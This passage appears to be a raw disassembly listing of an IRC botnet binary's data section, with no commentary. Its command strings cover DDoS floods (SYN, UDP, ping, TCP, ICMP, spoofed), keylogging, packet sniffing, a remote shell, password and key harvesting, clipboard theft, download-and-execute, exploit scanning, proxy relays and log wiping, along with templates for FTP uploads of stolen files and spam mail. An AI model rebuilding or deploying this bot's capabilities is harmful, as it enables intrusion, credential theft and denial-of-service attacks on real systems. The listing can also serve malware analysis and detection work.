error: <%d>.',0 align 4 dword_43725C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 10h aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_4372B0 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4372E8 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_437324 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 4 dword_43739C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 4 unk_4373F4 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 10h aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 4 aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 4 aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 4 aAdv db 'adv',0 ; DATA XREF: sub_40EE72+27E3o aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 10h aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 10h aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 4 aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 10h aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 10h aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 4 aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 4 aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 10h aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 10h aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 4 aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 10h aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 4 aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 10h aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_437740 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_43776C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_43779C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4377C8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 10h dword_437800 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 10h dword_437830 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 10h aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 10h dword_437880 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 10h dword_4378B0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 dword_4378E4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_437934 db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 10h unk_437980 db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_4379B0 db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 10h unk_4379E0 db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_437A1C db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 4 unk_437A74 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_437AAC db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_437AF8 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_437B44 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 4 unk_437B84 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 10h aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 10h aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 4 aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 10h aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 10h aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 4 aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 10h aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 10h aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 4 aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 4 aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 4 aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 10h aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 10h aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 10h aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 4 aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 10h aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 4 aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EE72+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 4 aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 4 aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 4 aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 4 aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 4 aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 4 aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 4 aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 10h aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 10h aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 4 aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_437E50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 10h aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 10h aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 10h aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 10h aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 10h aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 10h aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 4 aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 10h aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_437F7C db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_437FC8 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 10h aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 10h aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 10h aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_438088 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_4380BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 4 aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 4 aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 10h aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 4 aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 4 aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 10h aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 10h aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 4 dword_438194 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_4381BC dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 10h aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_43821C dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_438238 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_438244 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_438250 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_438260 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_43826C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_438278 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_438288 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_438294 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_4382A0 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_4382B0 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_4382BC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_4382C8 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4382D4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4382E4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_438308 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_438314 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_438320 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_438328 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_438334 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_438344 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_438368 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 10h aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 4 aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 10h aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: 